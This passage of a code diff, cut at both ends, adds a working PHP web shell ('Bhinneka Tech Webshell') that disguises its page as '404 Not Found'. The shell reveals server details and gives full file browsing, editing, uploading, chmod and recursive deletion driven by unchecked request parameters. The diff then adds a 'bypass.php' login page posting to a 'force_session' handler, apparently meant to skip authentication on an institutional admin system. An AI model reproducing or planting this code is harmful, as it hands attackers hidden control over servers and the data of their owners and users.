'disablefunc' => ini_get('disable_functions'),
|
||||||
|
'path' => getcwd(),
|
||||||
|
'os' => PHP_OS,
|
||||||
|
];
|
||||||
|
|
||||||
|
return $arr;
|
||||||
|
}
|
||||||
|
$getInfo = info();
|
||||||
|
|
||||||
|
if(strtoupper(substr($getInfo['os'], 0, 3)) == 'WIN') {
|
||||||
|
$getInfo['os'] = 'Windows';
|
||||||
|
$paths = explode('\\', $getInfo['path']);
|
||||||
|
$paths = $paths[0] . '/';
|
||||||
|
}else if(strtoupper(substr($getInfo['os'], 0, 3)) == 'LIN') {
|
||||||
|
$getInfo['os'] = 'Linux';
|
||||||
|
$paths = '/';
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
$dir = getcwd();
|
||||||
|
|
||||||
|
if(isset($_GET['path'])) {
|
||||||
|
$replace = str_replace('\\', '/', $_GET['path']);
|
||||||
|
$replace = str_replace('//', '/', $_GET['path']);
|
||||||
|
$pecah = explode('/', $replace);
|
||||||
|
}else {
|
||||||
|
$replace = str_replace('\\', '/', $dir);
|
||||||
|
$pecah = explode('/', $replace);
|
||||||
|
}
|
||||||
|
|
||||||
|
function loginShell() {
|
||||||
|
if(!isset($_SESSION['isLogin'])) {
|
||||||
|
echo "<form method='POST'><input type='password' name='password'><button type='submit'>Submit</button></form>";
|
||||||
|
die();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function cekPermission($filenya) {
|
||||||
|
|
||||||
|
$perms = fileperms($filenya);
|
||||||
|
switch ($perms & 0xF000) {
|
||||||
|
case 0xC000: // socket
|
||||||
|
$info = 's';
|
||||||
|
break;
|
||||||
|
case 0xA000: // symbolic link
|
||||||
|
$info = 'l';
|
||||||
|
break;
|
||||||
|
case 0x8000: // regular
|
||||||
|
$info = '-';
|
||||||
|
break;
|
||||||
|
case 0x6000: // block special
|
||||||
|
$info = 'b';
|
||||||
|
break;
|
||||||
|
case 0x4000: // directory
|
||||||
|
$info = 'd';
|
||||||
|
break;
|
||||||
|
case 0x2000: // character special
|
||||||
|
$info = 'c';
|
||||||
|
break;
|
||||||
|
case 0x1000: // FIFO pipe
|
||||||
|
$info = 'p';
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
$info = 'u';
|
||||||
|
}
|
||||||
|
|
||||||
|
//Untuk Owner
|
||||||
|
$info .= (($perms & 0x0100) ? 'r' : '-');
|
||||||
|
$info .= (($perms & 0x0080) ? 'w' : '-');
|
||||||
|
$info .= (($perms & 0x0040) ?
|
||||||
|
(($perms & 0x0800) ? 's' : 'x' ) :
|
||||||
|
(($perms & 0x0800) ? 'S' : '-'));
|
||||||
|
|
||||||
|
//Untuk Group
|
||||||
|
$info .= (($perms & 0x0020) ? 'r' : '-');
|
||||||
|
$info .= (($perms & 0x0010) ? 'w' : '-');
|
||||||
|
$info .= (($perms & 0x0008) ?
|
||||||
|
(($perms & 0x0400) ? 's' : 'x' ) :
|
||||||
|
(($perms & 0x0400) ? 'S' : '-'));
|
||||||
|
|
||||||
|
//Untuk Other
|
||||||
|
$info .= (($perms & 0x0004) ? 'r' : '-');
|
||||||
|
$info .= (($perms & 0x0002) ? 'w' : '-');
|
||||||
|
$info .= (($perms & 0x0001) ?
|
||||||
|
(($perms & 0x0200) ? 't' : 'x' ) :
|
||||||
|
(($perms & 0x0200) ? 'T' : '-'));
|
||||||
|
|
||||||
|
return $info;
|
||||||
|
}
|
||||||
|
|
||||||
|
function hitungSize($fileSize) {
|
||||||
|
$bytes = sprintf('%u', filesize($fileSize));
|
||||||
|
|
||||||
|
if ($bytes > 0)
|
||||||
|
{
|
||||||
|
$unit = intval(log($bytes, 1024));
|
||||||
|
$units = array('B', 'KB', 'MB', 'GB');
|
||||||
|
|
||||||
|
if (array_key_exists($unit, $units) === true)
|
||||||
|
{
|
||||||
|
return sprintf('%d %s', $bytes / pow(1024, $unit), $units[$unit]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
function bungkus($obj) {
|
||||||
|
$wrap = filter_var(htmlspecialchars(file_get_contents($obj)), FILTER_SANITIZE_STRING);
|
||||||
|
return $wrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
function deleteFolder($dirnya) {
|
||||||
|
$files = array_diff(scandir($dirnya), array('.', '..'));
|
||||||
|
|
||||||
|
foreach ($files as $file) {
|
||||||
|
(is_dir("$dirnya/$file")) ? deleteFolder("$dirnya/$file") : unlink("$dirnya/$file");
|
||||||
|
}
|
||||||
|
|
||||||
|
return rmdir($dirnya);
|
||||||
|
}
|
||||||
|
|
||||||
|
function folder_exist($folder)
|
||||||
|
{
|
||||||
|
$path = realpath($folder);
|
||||||
|
|
||||||
|
if($path !== false AND is_dir($path))
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if(isset($_GET['path'])) {
|
||||||
|
$get = $_GET['path'];
|
||||||
|
$pec = explode('/', $get);
|
||||||
|
|
||||||
|
if(is_file($get)) {
|
||||||
|
$konten = bungkus($get);
|
||||||
|
$cek = true;
|
||||||
|
$listDir = scandir($get);
|
||||||
|
}else {
|
||||||
|
$listDir = array_diff(scandir($get), ['.', '..']);
|
||||||
|
}
|
||||||
|
}else {
|
||||||
|
$get = $replace;
|
||||||
|
$listDir = array_diff(scandir($get), ['.', '..']);
|
||||||
|
}
|
||||||
|
|
||||||
|
if(isset($_POST['pilihan'])) {
|
||||||
|
switch ($_POST['pilihan']) {
|
||||||
|
case 'edit':
|
||||||
|
$edit = true;
|
||||||
|
$dirFile = $_POST['dir'];
|
||||||
|
$sourceFile = $_POST['sourceFile'];
|
||||||
|
if(!empty($sourceFile)){
|
||||||
|
$fileHandle = fopen($dirFile, 'w');
|
||||||
|
if($fileHandle !== false){
|
||||||
|
if(fwrite($fileHandle, $sourceFile) !== false) {
|
||||||
|
fclose($fileHandle);
|
||||||
|
$successEdit = 'Berhasil di edit';
|
||||||
|
} else {
|
||||||
|
fclose($fileHandle);
|
||||||
|
$successEdit = 'Gagal edit';
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
$successEdit = 'Gagal membuka file untuk diedit';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case $_POST['pilihan'] == 'rename':
|
||||||
|
$rename = true;
|
||||||
|
$dirFile = $_POST['dir'];
|
||||||
|
$filename = $_POST['namaFile'];
|
||||||
|
$namaBaru = $_POST['namaBaru'];
|
||||||
|
if(!empty($namaBaru)){
|
||||||
|
if(rename($dirFile, $_GET['path'] . '/' . $namaBaru)) {
|
||||||
|
$filename = $namaBaru;
|
||||||
|
$dirFile = $_GET['path'] . '/' . $namaBaru;
|
||||||
|
$successRename = 'Berhasil rename';
|
||||||
|
}else {
|
||||||
|
$successRename = 'Gagal rename';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case $_POST['pilihan'] == 'delete':
|
||||||
|
$dirFile = $_POST['dir'];
|
||||||
|
$type = $_POST['type'];
|
||||||
|
if(isset($dirFile) && is_file($dirFile)) {
|
||||||
|
if(unlink($dirFile)) {
|
||||||
|
$pesanHapus = "<script>
|
||||||
|
alert('File berhasil dihapus!!');
|
||||||
|
window.location.href = window.location.href;
|
||||||
|
</script>";
|
||||||
|
}else {
|
||||||
|
$pesanHapus = "<script>
|
||||||
|
alert('File gagal dihapus!!');
|
||||||
|
window.location.href = window.location.href;
|
||||||
|
</script>";
|
||||||
|
}
|
||||||
|
}else if(isset($dirFile) && is_dir($dirFile)) {
|
||||||
|
//$dirFile = $dirFile . '/';
|
||||||
|
if(deleteFolder($dirFile)) {
|
||||||
|
$pesanHapus = "<script>
|
||||||
|
alert('Folder berhasil dihapus!!');
|
||||||
|
window.location.href = window.location.href;
|
||||||
|
</script>";
|
||||||
|
}else {
|
||||||
|
$pesanHapus = "<script>
|
||||||
|
alert('Folder gagal dihapus!!');
|
||||||
|
window.location.href = window.location.href;
|
||||||
|
</script>";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case $_POST['pilihan'] == 'chmod':
|
||||||
|
$chmod = true;
|
||||||
|
$file = fileperms($_POST['dir']);
|
||||||
|
$permission = substr(sprintf('%o', $file), -4);
|
||||||
|
$dirFile = $_POST['dir'];
|
||||||
|
$perms = octdec($_POST['perms']);
|
||||||
|
if(isset($_POST['perms'])) {
|
||||||
|
if(isset($perms)) {
|
||||||
|
if(chmod($dirFile, $perms)) {
|
||||||
|
$permission = decoct($perms);
|
||||||
|
$successChmod ='Berhasil chmod!';
|
||||||
|
}else {
|
||||||
|
$successChmod = 'Gagal chmod!';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case $_POST['pilihan'] == 'create':
|
||||||
|
$namaFile = "";
|
||||||
|
$isiFile = "";
|
||||||
|
|
||||||
|
$dirPath = $_GET['path'] . '/';
|
||||||
|
if(isset($_POST['createAction'])) {
|
||||||
|
$namaFile = $_POST['createName'];
|
||||||
|
$isiFile = ($_POST['createIsi'] == NULL) ? ' ' : $_POST['createIsi'];
|
||||||
|
if(!file_exists($dirPath . $namaFile)) {
|
||||||
|
if(file_put_contents($dirPath . $namaFile, $isiFile)) {
|
||||||
|
$pesanCreate = 'File berhasil dibuat';
|
||||||
|
}else {
|
||||||
|
$pesanCreate = 'Directory not Writable';
|
||||||
|
}
|
||||||
|
}else {
|
||||||
|
$pesanCreate = 'Nama file / folder sudah ada';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case $_POST['pilihan'] == 'createFolder':
|
||||||
|
$dirPath = $_GET['path'] . '/';
|
||||||
|
if(isset($_POST['createFolder'])) {
|
||||||
|
$namaFolder = $_POST['createName'];
|
||||||
|
if(mkdir($dirPath . $namaFolder)) {
|
||||||
|
$pesanCreate = 'Folder berhasil dibuat';
|
||||||
|
}else {
|
||||||
|
if(is_dir($namaFolder)) {
|
||||||
|
$pesanCreate = 'Nama Folder / File sudah ada';
|
||||||
|
}elseif(!is_writable($dirPath)){
|
||||||
|
$pesanCreate = 'Directory not writable';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case $_POST['pilihan'] == 'upload':
|
||||||
|
$path = $replace;
|
||||||
|
if(isset($_GET['path'])) {
|
||||||
|
$path = $_GET['path'];
|
||||||
|
}
|
||||||
|
|
||||||
|
if(isset($_FILES['uploadFile'])) {
|
||||||
|
$namafile = $_FILES['uploadFile']['name'];
|
||||||
|
$tempatfile = $_FILES['uploadFile']['tmp_name'];
|
||||||
|
$error = $_FILES['uploadFile']['error'];
|
||||||
|
$ukuranfile = $_FILES['uploadFile']['size'];
|
||||||
|
|
||||||
|
if(move_uploaded_file($tempatfile, $path.'/'.$namafile)) {
|
||||||
|
echo "<script>
|
||||||
|
alert('File berhasil diupload!!');
|
||||||
|
window.location.href = window.location.href;
|
||||||
|
</script>";
|
||||||
|
}else {
|
||||||
|
echo "<script>
|
||||||
|
alert('File gagal diupload!!');
|
||||||
|
window.location.href = window.location.href;
|
||||||
|
</script>";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
?>
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>404 Not Found</title>
|
||||||
|
</head>
|
||||||
|
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
|
||||||
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">
|
||||||
|
<meta name="viewport" content="width=1024">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
|
||||||
|
<style type="text/css">
|
||||||
|
body {
|
||||||
|
width: 100vw;
|
||||||
|
height: 100px;
|
||||||
|
overflow-x: hidden !important;
|
||||||
|
}
|
||||||
|
.info {
|
||||||
|
display: block;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
table.striped > tbody > tr:nth-child(odd) {
|
||||||
|
background-color: rgba(170, 213, 213, 0.5);
|
||||||
|
}
|
||||||
|
nav {
|
||||||
|
background-color: #42a5f5;
|
||||||
|
}
|
||||||
|
.select-wrapper {
|
||||||
|
position: relative;
|
||||||
|
width: 100px;
|
||||||
|
display: inline-block;
|
||||||
|
}
|
||||||
|
|
||||||
|
.file-field .btn, .file-field .btn-large, .file-field .btn-small {
|
||||||
|
float: inherit;
|
||||||
|
height: 3rem;
|
||||||
|
line-height: 3rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.select-wrapper .caret {
|
||||||
|
right: auto !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.select-wrapper input.select-dropdown {
|
||||||
|
width: 50%;
|
||||||
|
}
|
||||||
|
|
||||||
|
textarea {
|
||||||
|
height: 50rem !important;
|
||||||
|
overflow-y: scroll !important;
|
||||||
|
height: 700px !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.maung {
|
||||||
|
height: 700px !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
table{
|
||||||
|
width:100%;
|
||||||
|
table-layout: fixed;
|
||||||
|
overflow-wrap: break-word;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media screen and (max-width: 732px) {
|
||||||
|
.navbar-text {
|
||||||
|
font-size: 25px !important;
|
||||||
|
width: 280px !important;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
</style>
|
||||||
|
<body>
|
||||||
|
<div class="content">
|
||||||
|
<nav>
|
||||||
|
<div class="container">
|
||||||
|
<div class="nav-wrapper">
|
||||||
|
<a href="#" class="brand-logo center navbar-text">Bhinneka Tech Webshell</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</nav>
|
||||||
|
|
||||||
|
<div class="container" style="margin-top: 30px;">
|
||||||
|
<b class="info">Server IP : <?= $getInfo['ip']; ?></b>
|
||||||
|
<b class="info">Hostname : <?= $getInfo['host']; ?></b>
|
||||||
|
<b class="info">Kernel : <?= $getInfo['kernel']; ?></b>
|
||||||
|
<b class="info">OS : <?= $getInfo['os']; ?></b>
|
||||||
|
<b class="info">USER : <?= get_current_user(); ?></b>
|
||||||
|
</div>
|
||||||
|
<br>
|
||||||
|
<?php if($cek){ ?>
|
||||||
|
|
||||||
|
<div class="container">
|
||||||
|
<div class="row">
|
||||||
|
<div style="font-size: 17px;">
|
||||||
|
<?php
|
||||||
|
echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
|
||||||
|
for ($i = 1; $i < count($pecah); $i++) {
|
||||||
|
$subpath = implode('/', array_slice($pecah, 1, $i));
|
||||||
|
echo '/';
|
||||||
|
echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
</div>
|
||||||
|
<form class="col s12">
|
||||||
|
<div class="row">
|
||||||
|
<div class="input-field col s12">
|
||||||
|
<textarea id="textarea" class="materialize-textarea" style="background-color: ghostwhite; overflow-y: auto;" disabled><?= $konten; ?></textarea>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<?php }else if($edit){ ?>
|
||||||
|
<div class="container">
|
||||||
|
<?php
|
||||||
|
echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
|
||||||
|
for ($i = 1; $i < count($pecah); $i++) {
|
||||||
|
$subpath = implode('/', array_slice($pecah, 1, $i));
|
||||||
|
echo '/';
|
||||||
|
echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
<?= !empty($successEdit) ? "<p class='blue-text text-darken-2'>" . $successEdit . "</p>" : ""; ?>
|
||||||
|
<form method="POST">
|
||||||
|
<input type="hidden" name="dir" value="<?= $dirFile; ?>">
|
||||||
|
<input type="hidden" name="pilihan" value="edit">
|
||||||
|
<div class="row">
|
||||||
|
<form class="col s12">
|
||||||
|
<div class="input-field col s12">
|
||||||
|
<textarea name="sourceFile" id="textarea" class="materialize-textarea" style="background-color: ghostwhite; overflow-y: auto;" ><?= bungkus($dirFile); ?></textarea>
|
||||||
|
<label for="textarea" class='active'>Edit File</label>
|
||||||
|
<button class="btn waves-effect waves-light" type="submit" name="action">Edit</button>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
<?php }else if($rename){ ?>
|
||||||
|
<div class="container">
|
||||||
|
<?php
|
||||||
|
echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
|
||||||
|
for ($i = 1; $i < count($pecah); $i++) {
|
||||||
|
$subpath = implode('/', array_slice($pecah, 1, $i));
|
||||||
|
echo '/';
|
||||||
|
echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
<?= !empty($successRename) ? "<p class='blue-text text-darken-2'>" . $successRename . "</p>" : ""; ?>
|
||||||
|
<form method="POST">
|
||||||
|
<input type="hidden" name="dir" value="<?= $dirFile; ?>">
|
||||||
|
<input type="hidden" name="pilihan" value="rename">
|
||||||
|
<div class="row center-align">
|
||||||
|
<div class="input-field col s12">
|
||||||
|
<input value="<?= $filename; ?>" name="namaBaru" id="rename" type="text" class="validate">
|
||||||
|
<label class="active" for="rename">Input disini:</label>
|
||||||
|
<button class="btn waves-effect waves-light" type="submit" name="action">Rename</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
<?php }else if($chmod) { ?>
|
||||||
|
<div class="container">
|
||||||
|
<?php
|
||||||
|
echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
|
||||||
|
for ($i = 1; $i < count($pecah); $i++) {
|
||||||
|
$subpath = implode('/', array_slice($pecah, 1, $i));
|
||||||
|
echo '/';
|
||||||
|
echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
<?= !empty($successChmod) ? "<p class='blue-text text-darken-2'>" . $successChmod . "</p>" : ''; ?>
|
||||||
|
<form method="POST">
|
||||||
|
<input type="hidden" name="dir" value="<?= $dirFile; ?>">
|
||||||
|
<input type="hidden" name="pilihan" value="chmod">
|
||||||
|
<div class="row center-align">
|
||||||
|
<div class="input-field col s12">
|
||||||
|
<input value="<?= $permission; ?>" name="perms" id="chmod" type="text" class="validate">
|
||||||
|
<label class="active" for="chmod">Input disini:</label>
|
||||||
|
<button class="btn waves-effect waves-light" type="submit" name="action">Chmod</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
<?php }else if(isset($_GET['create'])){ ?>
|
||||||
|
<br>
|
||||||
|
<div class="container">
|
||||||
|
<?php
|
||||||
|
echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
|
||||||
|
for ($i = 1; $i < count($pecah); $i++) {
|
||||||
|
$subpath = implode('/', array_slice($pecah, 1, $i));
|
||||||
|
echo '/';
|
||||||
|
echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
<?= !empty($pesanCreate) ? "<p class='blue-text text-darken-2'>" . $pesanCreate . "</p>" : ""; ?>
|
||||||
|
<form method="POST">
|
||||||
|
<input type="hidden" name="pilihan" value="create">
|
||||||
|
<div class="row center-align">
|
||||||
|
<div class="input-field col s12">
|
||||||
|
<input name="createName" id="createFile" type="text" class="validate" value="<?= $namaFile; ?>">
|
||||||
|
<label class="active" for="createFile">Nama File</label>
|
||||||
|
<textarea name="createIsi" class="materialize-textarea" style="height: 400px; background-color: ghostwhite; overflow-y: scroll;"><?= $isiFile; ?></textarea>
|
||||||
|
<button class="btn waves-effect waves-light" type="submit" name="createAction">Create</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
<?php }else if(isset($_GET['createFolder'])){ ?>
|
||||||
|
<div class="container">
|
||||||
|
<?php
|
||||||
|
echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
|
||||||
|
for ($i = 1; $i < count($pecah); $i++) {
|
||||||
|
$subpath = implode('/', array_slice($pecah, 1, $i));
|
||||||
|
echo '/';
|
||||||
|
echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
<?= !empty($pesanCreate) ? "<p class='blue-text text-darken-2'>" . $pesanCreate . "</p>" : ""; ?>
|
||||||
|
<form method="POST">
|
||||||
|
<input type="hidden" name="pilihan" value="createFolder">
|
||||||
|
<div class="row center-align">
|
||||||
|
<div class="input-field col s12">
|
||||||
|
<input name="createName" id="createFolder" type="text" class="validate" value="<?= $namaFolder; ?>">
|
||||||
|
<label class="active" for="createFolder">Nama Folder</label>
|
||||||
|
<button class="btn waves-effect waves-light" type="submit" name="createFolder">Create</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
<?php }else{ ?>
|
||||||
|
<div class="container">
|
||||||
|
<b class="info">
|
||||||
|
<a href="?create&path=<?= isset($_GET['path']) ? $_GET['path'] : $replace; ?>" class="btn-floating btn-large waves-effect waves-light red"><i class="material-icons">add</i></a> <b>Add File </b>
|
||||||
|
<a href="?createFolder&path=<?= isset($_GET['path']) ? $_GET['path'] : $replace; ?>" class="btn-floating btn-large waves-effect waves-light blue""><i class="material-icons">add</i></a> <b>Add Folder</b>
|
||||||
|
<br>
|
||||||
|
<b class="info">
|
||||||
|
<form method="POST" enctype="multipart/form-data">
|
||||||
|
<div class="file-field input-field">
|
||||||
|
<div class="btn">
|
||||||
|
<span>File</span>
|
||||||
|
<input type="hidden" name="pilihan" value="upload">
|
||||||
|
<input type="hidden" name="dir" value="<?= $_GET['path'] ?>">
|
||||||
|
<input type="file" name="uploadFile">
|
||||||
|
</div>
|
||||||
|
<div class="file-path-wrapper">
|
||||||
|
<input class="file-path validate" type="text" style="width: 300px">
|
||||||
|
<button class="btn waves-effect waves-light" type="submit" name="actionUpload">Upload!
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</b>
|
||||||
|
<!-- <div style="font-size: 18px;"> -->
|
||||||
|
<div class="row"><div class="col s12" style="font-size: 18px;">
|
||||||
|
PATH:
|
||||||
|
<?php
|
||||||
|
echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
|
||||||
|
for ($i = 1; $i < count($pecah); $i++) {
|
||||||
|
$subpath = implode('/', array_slice($pecah, 1, $i));
|
||||||
|
echo '/';
|
||||||
|
echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
</div></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="container">
|
||||||
|
<table class="striped centered bordered">
|
||||||
|
<?= !empty($pesanHapus) ? $pesanHapus : ''; ?>
|
||||||
|
<thead>
|
||||||
|
<tr>
|
||||||
|
<th>Nama</th>
|
||||||
|
<th>Size</th>
|
||||||
|
<th>Permission</th>
|
||||||
|
<th>Action</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<?php foreach($listDir as $dir): ?>
|
||||||
|
<tr>
|
||||||
|
<td><a style="color: black;" href="?path=<?= str_replace([".", "//"], ["%2e", '/'], $get . '/' . $dir); ?>"><?= $dir; ?></a></td>
|
||||||
|
<td><?= is_file($get . '/' . $dir) ? hitungSize($get . '/' . $dir) : 'Folders'; ?></td>
|
||||||
|
<td><?= is_writable($get . '/' . $dir) ? '<font color="green">' . @cekPermission($get . '/' . $dir) . '</font>' : '<font color="red">' . @cekPermission($get . '/' . $dir) . '</font>';?></td>
|
||||||
|
<td>
|
||||||
|
<?php if(is_file($get . '/' . $dir)): ?>
|
||||||
|
<form method="POST" action="?set&path=<?= $get; ?>">
|
||||||
|
<center>
|
||||||
|
<select class="browser-default" name="pilihan" style="height: 30px; width: 70px; z-index: 1;">
|
||||||
|
<option value="Select" disabled selected>Pilih</option>
|
||||||
|
<option value="rename">Rename</option>
|
||||||
|
<option value="edit">Edit</option>
|
||||||
|
<option value="delete">Delete</option>
|
||||||
|
<option value="chmod">Chmod</option>
|
||||||
|
</select>
|
||||||
|
</center>
|
||||||
|
<input type="hidden" name="type" value="file">
|
||||||
|
<input type="hidden" name="namaFile" value="<?= $dir; ?>">
|
||||||
|
<input type="hidden" name="dir" value="<?= $get . '/' . $dir ?>">
|
||||||
|
<button class="btn waves-effect waves-light" type="submit" name="action">
|
||||||
|
<i class="material-icons right">send</i>
|
||||||
|
</button>
|
||||||
|
</form>
|
||||||
|
<?php else: ?>
|
||||||
|
<form method="POST" action="?set&path=<?= $get; ?>">
|
||||||
|
<center>
|
||||||
|
<select class="browser-default" name="pilihan" style="height: 30px; width: 70px; z-index: 1;" name="pilihan">
|
||||||
|
<option value="Select" disabled selected>Pilih</option>
|
||||||
|
<option value="rename">Rename</option>
|
||||||
|
<option value="delete">Delete</option>
|
||||||
|
<option value="chmod">Chmod</option>
|
||||||
|
</select>
|
||||||
|
</center>
|
||||||
|
<input type="hidden" name="type" value="folder">
|
||||||
|
<input type="hidden" name="namaFile" value="<?= $dir; ?>">
|
||||||
|
<input type="hidden" name="dir" value="<?= $get . '/' . $dir ?>">
|
||||||
|
<button class="btn waves-effect waves-light" type="submit" name="action">
|
||||||
|
<i class="material-icons right">send</i>
|
||||||
|
</button>
|
||||||
|
</form>
|
||||||
|
<?php endif; ?>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<?php endforeach; ?>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
<?php } ?>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<footer id="footer" style="margin-top: 100px;">
|
||||||
|
|
||||||
|
</footer>
|
||||||
|
|
||||||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
var footer = document.querySelector("footer");
|
||||||
|
|
||||||
|
function stopScrollAtFooter() {
|
||||||
|
var footerHeight = footer.clientHeight;
|
||||||
|
var contentHeight = document.body.scrollHeight;
|
||||||
|
var scrollY = window.scrollY;
|
||||||
|
|
||||||
|
if (scrollY + window.innerHeight >= contentHeight - footerHeight) {
|
||||||
|
window.scrollTo(0, contentHeight - window.innerHeight);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
window.addEventListener("scroll", stopScrollAtFooter);
|
||||||
|
|
||||||
|
|
||||||
|
document.addEventListener('DOMContentLoaded', function() {
|
||||||
|
var elems = document.querySelectorAll('select');
|
||||||
|
var instances = M.FormSelect.init(elems, {});
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
139
bypass.php
Normal file
139
bypass.php
Normal file
@@ -0,0 +1,139 @@
|
|||||||
|
<?php
|
||||||
|
if (isset($_GET["error"]) && is_numeric($_GET["error"])) {
|
||||||
|
switch ($_GET["error"]) {
|
||||||
|
case 0:
|
||||||
|
$errorDesc = "No se reciberon datos.";
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
$errorDesc = "El usuario y/o contraseña son incorrectos.";
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
$errorDesc = "El usuario no tiene permisos de ingresar.";
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
$errorDesc = "El usuario y/o contraseña son incorrectos.";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="es" prefix="og: http://ogp.me/ns#">
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
|
||||||
|
<title>.: Administrador de checador :.</title>
|
||||||
|
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|
||||||
|
<link rel="icon" type="image/png" href="imagenes/favicon.png" />
|
||||||
|
<link rel="stylesheet" href="css/bootstrap-ulsa.min.css" type="text/css">
|
||||||
|
<link rel="stylesheet" href="css/indivisa.css" type="text/css">
|
||||||
|
<link rel="stylesheet" href="css/sgi.css?rand=<?= rand() ?>" type="text/css">
|
||||||
|
<link rel="stylesheet" href="css/index.css" type="text/css">
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<!-- HEADER -->
|
||||||
|
<?php include "import/html_header.php";
|
||||||
|
html_header("Checador inicio de sesión"); ?>
|
||||||
|
<main class="container-fluid content d-flex justify-content-center align-items-center">
|
||||||
|
<div class="logSize p-5 bg-white defaultShadow">
|
||||||
|
<div class="row mb-4">
|
||||||
|
<div class="col-sm-12">
|
||||||
|
<h1 class="mb-1">Iniciar sesión</h1>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<form method="post" action="action/force_session.php" id="session">
|
||||||
|
<div class="row user">
|
||||||
|
<div class="col">
|
||||||
|
<p class="text-center font-weight-bold text-info">Utiliza tu usuario y contraseña institucionales</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="form-group row user">
|
||||||
|
<div class="input-group px-4">
|
||||||
|
<div class="input-group-prepend secondary">
|
||||||
|
